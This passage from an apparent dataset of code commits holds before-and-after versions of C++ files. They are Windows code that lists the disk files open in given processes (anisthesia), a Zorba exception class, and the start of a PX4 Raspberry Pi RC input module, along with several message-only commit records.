(GetObjectTypeName(handle) == L\"File\") {\n    file_type_index = object_type_index;\n    return true;\n  }\n\n  return false;\n}\n\nbool VerifyAccessMask(ULONG access_mask) {\n  \/\/ Skip access masks that may cause certain functions such as NtQueryObject\n  \/\/ and GetFinalPathNameByHandle to hang. These masks usually belong to named\n  \/\/ pipes.\n  switch (access_mask) {\n    case 0x00100000:  \/\/ SYNCHRONIZE access\n    case 0x0012008d:  \/\/ e.g. \"\\Device\\NamedPipe\\DropboxDataPipe\"\n    case 0x00120189:\n    case 0x0012019f:\n    case 0x0016019f:  \/\/ e.g. \"\\Device\\Afd\\Endpoint\"\n    case 0x001a019f:\n      return false;\n    default:\n      return true;\n  }\n\n  return true;\n}\n\nbool VerifyPathName(const std::wstring& path) {\n  if (path.empty())\n    return false;\n\n  \/\/ Skip files under system directories\n  \/\/ @TODO: Use %windir% environment variable\n  const std::wstring windir = L\"C:\\\\Windows\";\n  const size_t pos = path.find_first_not_of(L\"\\\\?\");\n  if (path.substr(pos, windir.size()) == windir)\n    return false;\n\n  \/\/ Skip invalid files, and directories\n  const auto file_attr = ::GetFileAttributes(path.c_str());\n  if ((file_attr == INVALID_FILE_ATTRIBUTES) ||\n      (file_attr & FILE_ATTRIBUTE_DIRECTORY)) {\n    return false;\n  }\n\n  return true;\n}\n\nbool EnumerateFiles(std::map<DWORD, std::vector<std::wstring>>& files) {\n  std::map<DWORD, Handle> process_handles;\n  for (const auto pair : files) {\n    const auto process_id = pair.first;\n    const auto handle = OpenProcess(process_id);\n    if (handle)\n      process_handles[process_id] = Handle(handle);\n  }\n  if (process_handles.empty())\n    return false;\n\n  auto system_handle_information_buffer = GetSystemHandleInformation();\n  if (!system_handle_information_buffer)\n    return false;\n\n  const auto& system_handle_information =\n      *reinterpret_cast<SYSTEM_HANDLE_INFORMATION_EX*>(\n          system_handle_information_buffer.get());\n  if (!system_handle_information.NumberOfHandles)\n    return false;\n\n  for (size_t i = 0; i < system_handle_information.NumberOfHandles; ++i) {\n    const auto& handle = system_handle_information.Handles[i];\n\n    \/\/ Skip if this handle does not belong to one of our PIDs\n    const auto process_id = static_cast<DWORD>(handle.UniqueProcessId);\n    if (!process_handles.count(process_id))\n      continue;\n\n    \/\/ Skip if this is not a file handle\n    if (!VerifyObjectType(nullptr, handle.ObjectTypeIndex))\n      continue;\n\n    \/\/ Skip access masks that are known to cause trouble\n    if (!VerifyAccessMask(handle.GrantedAccess))\n      continue;\n\n    \/\/ Duplicate the handle so that we can query it\n    const auto process_handle = process_handles[process_id].get();\n    Handle dup_handle(DuplicateHandle(process_handle, handle.HandleValue));\n    if (!dup_handle)\n      continue;\n\n    \/\/ Skip if this is not a file handle, while determining file type index\n    if (!VerifyObjectType(dup_handle.get(), handle.ObjectTypeIndex))\n      continue;\n\n    \/\/ Skip if this is not a disk file (i.e. it is a character file, a socket,\n    \/\/ a pipe, or a file of unknown type)\n    if (::GetFileType(dup_handle.get()) != FILE_TYPE_DISK)\n      continue;\n\n    const auto path = GetFinalPathNameByHandle(dup_handle.get());\n    if (VerifyPathName(path))\n      files[process_id].push_back(path);\n  }\n\n  return true;\n}\n\n}  \/\/ namespace win\n}  \/\/ namespace anisthesia\n<commit_msg>Add file type verification function<commit_after>\/*\nMIT License\n\nCopyright (c) 2017 Eren Okka\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n*\/\n\n#include <memory>\n\n#include <windows.h>\n#include <winternl.h>\n\n#include \"process.h\"\n#include \"util.h\"\n\nnamespace anisthesia {\nnamespace win {\n\nusing buffer_t = std::unique_ptr<BYTE[]>;\n\nconstexpr NTSTATUS STATUS_INFO_LENGTH_MISMATCH = 0xC0000004L;\nconstexpr NTSTATUS STATUS_SUCCESS = 0x00000000L;\n\nenum {\n  SystemExtendedHandleInformation = 64,\n};\n\nstruct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX {\n  PVOID Object;\n  ULONG_PTR UniqueProcessId;\n  HANDLE HandleValue;\n  ACCESS_MASK GrantedAccess;\n  USHORT CreatorBackTraceIndex;\n  USHORT ObjectTypeIndex;\n  ULONG HandleAttributes;\n  ULONG Reserved;\n};\n\nstruct SYSTEM_HANDLE_INFORMATION_EX {\n  ULONG_PTR NumberOfHandles;\n  ULONG_PTR Reserved;\n  SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];\n};\n\nstruct OBJECT_TYPE_INFORMATION {\n  UNICODE_STRING TypeName;\n  ULONG Reserved[22];\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nPVOID GetLibraryProcAddress(LPCSTR module_name, LPCSTR proc_name) {\n  return reinterpret_cast<PVOID>(\n      GetProcAddress(GetModuleHandleA(module_name), proc_name));\n}\n\nPVOID GetNtProcAddress(LPCSTR proc_name) {\n  return GetLibraryProcAddress(\"ntdll.dll\", proc_name);\n}\n\nNTSTATUS NtQuerySystemInformation(\n    SYSTEM_INFORMATION_CLASS system_information_class,\n    PVOID system_information,\n    ULONG system_information_length,\n    PULONG return_length) {\n  static const auto nt_query_system_information =\n      reinterpret_cast<decltype(::NtQuerySystemInformation)*>(\n          GetNtProcAddress(\"NtQuerySystemInformation\"));\n  return nt_query_system_information(system_information_class,\n                                     system_information,\n                                     system_information_length,\n                                     return_length);\n}\n\nNTSTATUS NtQueryObject(\n    HANDLE handle,\n    OBJECT_INFORMATION_CLASS object_information_class,\n    PVOID object_information,\n    ULONG object_information_length,\n    PULONG return_length) {\n  static const auto nt_query_object =\n      reinterpret_cast<decltype(::NtQueryObject)*>(\n          GetNtProcAddress(\"NtQueryObject\"));\n  return nt_query_object(handle,\n                         object_information_class,\n                         object_information,\n                         object_information_length,\n                         return_length);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\ninline bool NtSuccess(NTSTATUS status) {\n  return status >= 0;\n}\n\nbuffer_t QuerySystemInformation(\n      SYSTEM_INFORMATION_CLASS system_information_class) {\n  ULONG size = 1 << 20;                \/\/  1 MiB\n  constexpr ULONG kMaxSize = 1 << 24;  \/\/ 16 MiB\n\n  buffer_t buffer(new BYTE[size]);\n  NTSTATUS status = STATUS_SUCCESS;\n\n  do {\n    ULONG return_length = 0;\n    status = win::NtQuerySystemInformation(\n        system_information_class, buffer.get(), size, &return_length);\n    if (status == STATUS_INFO_LENGTH_MISMATCH) {\n      size = (return_length > size) ? return_length : (size * 2);\n      buffer.reset(new BYTE[size]);\n    }\n  } while (status == STATUS_INFO_LENGTH_MISMATCH && size < kMaxSize);\n\n  if (!NtSuccess(status))\n    buffer.reset();\n\n  return buffer;\n}\n\nbuffer_t QueryObject(HANDLE handle,\n                     OBJECT_INFORMATION_CLASS object_information_class,\n                     ULONG size) {\n  buffer_t buffer(new BYTE[size]);\n  ULONG return_length = 0;\n\n  const auto query_object = [&]() {\n    return win::NtQueryObject(handle, object_information_class,\n                              buffer.get(), size, &return_length);\n  };\n\n  auto status = query_object();\n  if (status == STATUS_INFO_LENGTH_MISMATCH) {\n    size = return_length;\n    buffer.reset(new BYTE[size]);\n    status = query_object();\n  }\n\n  if (!NtSuccess(status))\n    buffer.reset();\n\n  return buffer;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nHANDLE OpenProcess(DWORD process_id) {\n  return ::OpenProcess(PROCESS_DUP_HANDLE, false, process_id);\n}\n\nHANDLE DuplicateHandle(HANDLE process_handle, HANDLE handle) {\n  HANDLE dup_handle = nullptr;\n  const auto result = ::DuplicateHandle(process_handle, handle,\n                                        GetCurrentProcess(), &dup_handle,\n                                        0, false, DUPLICATE_SAME_ACCESS);\n  return result ? dup_handle : nullptr;\n}\n\nbuffer_t GetSystemHandleInformation() {\n  return QuerySystemInformation(\n      static_cast<SYSTEM_INFORMATION_CLASS>(SystemExtendedHandleInformation));\n}\n\nstd::wstring GetUnicodeString(const UNICODE_STRING& unicode_string) {\n  if (!unicode_string.Length)\n    return std::wstring();\n\n  return std::wstring(unicode_string.Buffer,\n                      unicode_string.Length \/ sizeof(WCHAR));\n}\n\nstd::wstring GetObjectTypeName(HANDLE handle) {\n  const auto buffer = QueryObject(handle, ObjectTypeInformation,\n                                  sizeof(OBJECT_TYPE_INFORMATION));\n  if (!buffer)\n    return std::wstring();\n\n  const auto& type_information =\n      *reinterpret_cast<OBJECT_TYPE_INFORMATION*>(buffer.get());\n\n  return GetUnicodeString(type_information.TypeName);\n}\n\nstd::wstring GetFinalPathNameByHandle(HANDLE handle) {\n  std::wstring buffer(MAX_PATH, '\\0');\n\n  auto get_final_path_name_by_handle = [&]() {\n    return ::GetFinalPathNameByHandle(handle, &buffer.front(), buffer.size(),\n        FILE_NAME_NORMALIZED | VOLUME_NAME_DOS);\n  };\n\n  auto result = get_final_path_name_by_handle();\n  if (result > buffer.size()) {\n    buffer.resize(result, '\\0');\n    result = get_final_path_name_by_handle();\n  }\n\n  if (result < buffer.size())\n    buffer.resize(result);\n\n  return buffer;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool VerifyObjectType(HANDLE handle, USHORT object_type_index) {\n  \/\/ File type index varies between OS versions:\n  \/\/\n  \/\/ - 25: Windows Vista\n  \/\/ - 28: Windows XP, Windows 7\n  \/\/ - 30: Windows 8.1\n  \/\/ - 31: Windows 8, Windows 10\n  \/\/ - 34: Windows 10 Anniversary Update\n  \/\/\n  \/\/ Here we initialize the value with 0, so that it is determined at run time.\n  \/\/ This is more reliable than hard-coding the values for each OS version.\n  static USHORT file_type_index = 0;\n\n  if (file_type_index)\n    return object_type_index == file_type_index;\n\n  if (!handle)\n    return true;\n\n  if (GetObjectTypeName(handle) == L\"File\") {\n    file_type_index = object_type_index;\n    return true;\n  }\n\n  return false;\n}\n\nbool VerifyAccessMask(ULONG access_mask) {\n  \/\/ Skip access masks that may cause certain functions such as NtQueryObject\n  \/\/ and GetFinalPathNameByHandle to hang. These masks usually belong to named\n  \/\/ pipes.\n  switch (access_mask) {\n    case 0x00100000:  \/\/ SYNCHRONIZE access\n    case 0x0012008d:  \/\/ e.g. \"\\Device\\NamedPipe\\DropboxDataPipe\"\n    case 0x00120189:\n    case 0x0012019f:\n    case 0x0016019f:  \/\/ e.g. \"\\Device\\Afd\\Endpoint\"\n    case 0x001a019f:\n      return false;\n    default:\n      return true;\n  }\n\n  return true;\n}\n\nbool VerifyFileType(HANDLE handle) {\n  \/\/ Skip character files, sockets, pipes, and files of unknown type\n  return ::GetFileType(handle) == FILE_TYPE_DISK;\n}\n\nbool VerifyPathName(const std::wstring& path) {\n  if (path.empty())\n    return false;\n\n  \/\/ Skip files under system directories\n  \/\/ @TODO: Use %windir% environment variable\n  const std::wstring windir = L\"C:\\\\Windows\";\n  const size_t pos = path.find_first_not_of(L\"\\\\?\");\n  if (path.substr(pos, windir.size()) == windir)\n    return false;\n\n  \/\/ Skip invalid files, and directories\n  const auto file_attr = ::GetFileAttributes(path.c_str());\n  if ((file_attr == INVALID_FILE_ATTRIBUTES) ||\n      (file_attr & FILE_ATTRIBUTE_DIRECTORY)) {\n    return false;\n  }\n\n  return true;\n}\n\nbool EnumerateFiles(std::map<DWORD, std::vector<std::wstring>>& files) {\n  std::map<DWORD, Handle> process_handles;\n  for (const auto pair : files) {\n    const auto process_id = pair.first;\n    const auto handle = OpenProcess(process_id);\n    if (handle)\n      process_handles[process_id] = Handle(handle);\n  }\n  if (process_handles.empty())\n    return false;\n\n  auto system_handle_information_buffer = GetSystemHandleInformation();\n  if (!system_handle_information_buffer)\n    return false;\n\n  const auto& system_handle_information =\n      *reinterpret_cast<SYSTEM_HANDLE_INFORMATION_EX*>(\n          system_handle_information_buffer.get());\n  if (!system_handle_information.NumberOfHandles)\n    return false;\n\n  for (size_t i = 0; i < system_handle_information.NumberOfHandles; ++i) {\n    const auto& handle = system_handle_information.Handles[i];\n\n    \/\/ Skip if this handle does not belong to one of our PIDs\n    const auto process_id = static_cast<DWORD>(handle.UniqueProcessId);\n    if (!process_handles.count(process_id))\n      continue;\n\n    \/\/ Skip if this is not a file handle\n    if (!VerifyObjectType(nullptr, handle.ObjectTypeIndex))\n      continue;\n\n    \/\/ Skip access masks that are known to cause trouble\n    if (!VerifyAccessMask(handle.GrantedAccess))\n      continue;\n\n    \/\/ Duplicate the handle so that we can query it\n    const auto process_handle = process_handles[process_id].get();\n    Handle dup_handle(DuplicateHandle(process_handle, handle.HandleValue));\n    if (!dup_handle)\n      continue;\n\n    \/\/ Skip if this is not a file handle, while determining file type index\n    if (!VerifyObjectType(dup_handle.get(), handle.ObjectTypeIndex))\n      continue;\n\n    \/\/ Skip if this is not a disk file\n    if (!VerifyFileType(dup_handle.get()))\n      continue;\n\n    const auto path = GetFinalPathNameByHandle(dup_handle.get());\n    if (VerifyPathName(path))\n      files[process_id].push_back(path);\n  }\n\n  return true;\n}\n\n}  \/\/ namespace win\n}  \/\/ namespace anisthesia\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>feat: option to let support be replaced by brim or not<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>make \/poll flagreset command directly reset the flags, bypassing auth and so on.<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Make m_result_number value available to Schema for appending results, Query String for now, maybe others later.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2006-2008 The FLWOR Foundation.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include \"stdafx.h\"\n\n#include <sstream>\n\n#include <zorba\/zorba_exception.h>\n#include <zorba\/xquery_warning.h>\n\n#include \"dict.h\"\n\n#ifndef NDEBUG\n#include <cstdlib>                      \/* for abort() *\/\nZORBA_DLL_PUBLIC bool g_abort_on_error;\n#endif \/* NDEBUG *\/\n\nusing namespace std;\n\nnamespace zorba {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nZorbaException::ZorbaException( Diagnostic const &diagnostic,\n                                char const *raise_file, line_type raise_line,\n                                char const *message ) :\n  diagnostic_( diagnostic.clone() ),\n  raise_file_( raise_file ),\n  raise_line_( raise_line ),\n  message_( message )\n{\n#ifndef NDEBUG\n  if ( g_abort_on_error )\n    abort();\n#endif \/* NDEBUG *\/\n}\n\nZorbaException::ZorbaException( ZorbaException const &from ) :\n  std::exception( from ),\n  diagnostic_( from.diagnostic_->clone() ),\n  raise_file_( from.raise_file_ ),\n  raise_line_( from.raise_line_ ),\n  message_( from.message_ )\n{\n}\n\nZorbaException::ZorbaException( serialization::Archiver &ar ) \n{\n}\n\nZorbaException::~ZorbaException() throw() {\n  diagnostic_->destroy();\n}\n\nZorbaException& ZorbaException::operator=( ZorbaException const &from ) {\n  if ( &from != this ) {\n    std::exception::operator=( from );\n    diagnostic_->destroy();\n    diagnostic_ = from.diagnostic_->clone();\n    raise_file_ = from.raise_file_;\n    raise_line_ = from.raise_line_;\n    message_    = from.message_;\n  }\n  return *this;\n}\n\nunique_ptr<ZorbaException> ZorbaException::clone() const {\n  return unique_ptr<ZorbaException>( new ZorbaException( *this ) );\n}\n\nint ZorbaException::get_ios_format_index() {\n  static int const index = ios_base::xalloc();\n  return index;\n}\n\nvoid ZorbaException::polymorphic_throw() const {\n  throw *this;\n}\n\nostream& ZorbaException::print( ostream& o ) const {\n  bool const as_xml = get_print_format( o ) == format_xml;\n  if ( as_xml )\n    o << \"<exception>\";\n  print_impl( o );\n  if ( as_xml )\n    o << \"<exception>\";\n  return o;\n}\n\nostream& ZorbaException::print_impl( ostream &o ) const {\n  \/\/\n  \/\/ We need to create an error phrase (e.g., \"static error\") and look that up\n  \/\/ as a unit rather than looking up the error kind word and \"error\"\n  \/\/ separately because many languages have the word order reversed (e.g.,\n  \/\/ \"static error\" becomes \"erreur statique\" in French).\n  \/\/\n  ostringstream oss;\n  oss << ZED_PREFIX;\n\n  streampos pos = oss.tellp();\n  Diagnostic const &d = diagnostic();\n  oss << d.category();\n  if ( oss.tellp() != pos )             \/\/ emit ' ' only if non-empty category\n    oss << ' ';\n\n  if ( diagnostic::kind const k = d.kind() )\n    oss << k << ' ';\n\n  oss << (dynamic_cast<ZorbaWarningCode const*>( &d ) ? \"warning\" : \"error\");\n\n  bool const as_xml = get_print_format( o ) == format_xml;\n  if ( as_xml )\n    o << \"<kind>\";\n\n  o << diagnostic::dict::lookup( oss.str() );\n\n  if ( as_xml )\n    o << \"<\/kind><code>\" << d.qname();\n  else\n    o << \" [\" << d.qname() << ']';\n\n  if ( as_xml )\n    o << \"<\/code>\";\n\n  if ( char const *const w = what() )\n    if ( *w ) {\n      if ( as_xml )\n        o << \"<description>\";\n      else\n        o << \": \";\n\n      o << w;\n\n      if ( as_xml )\n        o << \"<\/description>\";\n    }\n\n#ifndef NDEBUG\n  if ( !as_xml )\n    o << \"; raised at \" << raise_file() << ':' << raise_line();\n#endif\n\n  return o;\n}\n\nchar const* ZorbaException::what() const throw() {\n  return message_.c_str();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nZorbaException\nmake_zorba_exception( char const *raise_file,\n                      ZorbaException::line_type raise_line,\n                      Diagnostic const &diagnostic,\n                      internal::diagnostic::parameters const &params ) {\n  internal::diagnostic::parameters::value_type message( diagnostic.message() );\n  params.substitute( &message );\n  return ZorbaException( diagnostic, raise_file, raise_line, message.c_str() );\n}\n\nZorbaException*\nnew_zorba_exception( char const *raise_file,\n                     ZorbaException::line_type raise_line,\n                     Diagnostic const &diagnostic,\n                     internal::diagnostic::parameters const &params ) {\n  internal::diagnostic::parameters::value_type message( diagnostic.message() );\n  params.substitute( &message );\n  return new ZorbaException(\n    diagnostic, raise_file, raise_line, message.c_str()\n  );\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n} \/\/ namespace zorba\n\/* vim:set et sw=2 ts=2: *\/\n<commit_msg>More clean-up.<commit_after>\/*\n * Copyright 2006-2008 The FLWOR Foundation.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include \"stdafx.h\"\n\n#include <sstream>\n\n#include <zorba\/zorba_exception.h>\n#include <zorba\/xquery_warning.h>\n\n#include \"dict.h\"\n\n#ifndef NDEBUG\n#include <cstdlib>                      \/* for abort() *\/\nZORBA_DLL_PUBLIC bool g_abort_on_error;\n#endif \/* NDEBUG *\/\n\nusing namespace std;\n\nnamespace zorba {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nZorbaException::ZorbaException( Diagnostic const &diagnostic,\n                                char const *raise_file, line_type raise_line,\n                                char const *message ) :\n  diagnostic_( diagnostic.clone() ),\n  raise_file_( raise_file ),\n  raise_line_( raise_line ),\n  message_( message )\n{\n#ifndef NDEBUG\n  if ( g_abort_on_error )\n    abort();\n#endif \/* NDEBUG *\/\n}\n\nZorbaException::ZorbaException( ZorbaException const &from ) :\n  std::exception( from ),\n  diagnostic_( from.diagnostic_->clone() ),\n  raise_file_( from.raise_file_ ),\n  raise_line_( from.raise_line_ ),\n  message_( from.message_ )\n{\n}\n\nZorbaException::ZorbaException( serialization::Archiver &ar ) \n{\n}\n\nZorbaException::~ZorbaException() throw() {\n  diagnostic_->destroy();\n}\n\nZorbaException& ZorbaException::operator=( ZorbaException const &from ) {\n  if ( &from != this ) {\n    std::exception::operator=( from );\n    diagnostic_->destroy();\n    diagnostic_ = from.diagnostic_->clone();\n    raise_file_ = from.raise_file_;\n    raise_line_ = from.raise_line_;\n    message_    = from.message_;\n  }\n  return *this;\n}\n\nunique_ptr<ZorbaException> ZorbaException::clone() const {\n  return unique_ptr<ZorbaException>( new ZorbaException( *this ) );\n}\n\nint ZorbaException::get_ios_format_index() {\n  static int const index = ios_base::xalloc();\n  return index;\n}\n\nvoid ZorbaException::polymorphic_throw() const {\n  throw *this;\n}\n\nostream& ZorbaException::print( ostream& o ) const {\n  bool const as_xml = get_print_format( o ) == format_xml;\n  if ( as_xml )\n    o << \"<exception>\";\n  print_impl( o );\n  if ( as_xml )\n    o << \"<exception>\";\n  return o;\n}\n\nostream& ZorbaException::print_impl( ostream &o ) const {\n  \/\/\n  \/\/ We need to create an error phrase (e.g., \"static error\") and look that up\n  \/\/ as a unit rather than looking up the error kind word and \"error\"\n  \/\/ separately because many languages have the word order reversed (e.g.,\n  \/\/ \"static error\" becomes \"erreur statique\" in French).\n  \/\/\n  ostringstream oss;\n  oss << ZED_PREFIX;\n\n  streampos pos = oss.tellp();\n  Diagnostic const &d = diagnostic();\n  oss << d.category();\n  if ( oss.tellp() != pos )             \/\/ emit ' ' only if non-empty category\n    oss << ' ';\n\n  if ( diagnostic::kind const k = d.kind() )\n    oss << k << ' ';\n\n  oss << (dynamic_cast<ZorbaWarningCode const*>( &d ) ? \"warning\" : \"error\");\n\n  bool const as_xml = get_print_format( o ) == format_xml;\n  if ( as_xml )\n    o << \"<kind>\";\n\n  o << diagnostic::dict::lookup( oss.str() );\n\n  if ( as_xml )\n    o << \"<\/kind><code>\" << d.qname() << \"<\/code>\";\n  else\n    o << \" [\" << d.qname() << ']';\n\n  if ( char const *const w = what() )\n    if ( *w ) {\n      if ( as_xml )\n        o << \"<description>\";\n      else\n        o << \": \";\n\n      o << w;\n\n      if ( as_xml )\n        o << \"<\/description>\";\n    }\n\n#ifndef NDEBUG\n  if ( !as_xml )\n    o << \"; raised at \" << raise_file() << ':' << raise_line();\n#endif\n\n  return o;\n}\n\nchar const* ZorbaException::what() const throw() {\n  return message_.c_str();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nZorbaException\nmake_zorba_exception( char const *raise_file,\n                      ZorbaException::line_type raise_line,\n                      Diagnostic const &diagnostic,\n                      internal::diagnostic::parameters const &params ) {\n  internal::diagnostic::parameters::value_type message( diagnostic.message() );\n  params.substitute( &message );\n  return ZorbaException( diagnostic, raise_file, raise_line, message.c_str() );\n}\n\nZorbaException*\nnew_zorba_exception( char const *raise_file,\n                     ZorbaException::line_type raise_line,\n                     Diagnostic const &diagnostic,\n                     internal::diagnostic::parameters const &params ) {\n  internal::diagnostic::parameters::value_type message( diagnostic.message() );\n  params.substitute( &message );\n  return new ZorbaException(\n    diagnostic, raise_file, raise_line, message.c_str()\n  );\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n} \/\/ namespace zorba\n\/* vim:set et sw=2 ts=2: *\/\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>accept_rep(NodeId, const MsgAppendEntriesRep& r) should check term before checking current_idx.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n *\n *   Copyright (C) 2015 Mark Charl. All rights reserved.\n *   Copyright (C) 2017 Fan.zhang. All rights reserved. 421395590@qq.com\n *   Copyright (C) 2016 PX4 Development Team. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n * 3. Neither the name PX4 nor the names of its contributors may be\n *    used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n ****************************************************************************\/\n#include \"rpi_rc_in.h\"\n\nusing namespace rpi_rc_in;\n\/\/---------------------------------------------------------------------------------------------------------\/\/\nint RcInput::rpi_rc_init()\n{\n\tint i;\n\n\t\/\/--------------初始化共享内存映射----------------------------\/\/\n\tif ((this->shmid = shmget(this->key, sizeof(int) * this->_channels, 0666))\n\t    < 0) {\n\t\tPX4_WARN(\"无法访问共享内存。Faild to access shared memory\");\n\t\treturn -1;\n\t}\n\n\tif ((this->mem = (int *) shmat(this->shmid, NULL, 0)) == (void *) - 1) {\n\t\tPX4_WARN(\"无法映射共享内存。Faild to mapping shared memory\");\n\t\treturn -1;\n\t}\n\n\t\/\/--------------发布所有通道的数据------------------------\/\/\n\tfor (i = 0; i < input_rc_s::RC_INPUT_MAX_CHANNELS; ++i) {\n\t\t_data.values[i] = UINT16_MAX;\n\t}\n\n\t_rcinput_pub = orb_advertise(ORB_ID(input_rc), &_data);\n\n\tif (_rcinput_pub == nullptr) {\n\t\tPX4_WARN(\"error: advertise failed\");\n\t\treturn -1;\n\t}\n\n\treturn 0;\n}\n\/\/---------------------------------------------------------------------------------------------------------\/\/\nint 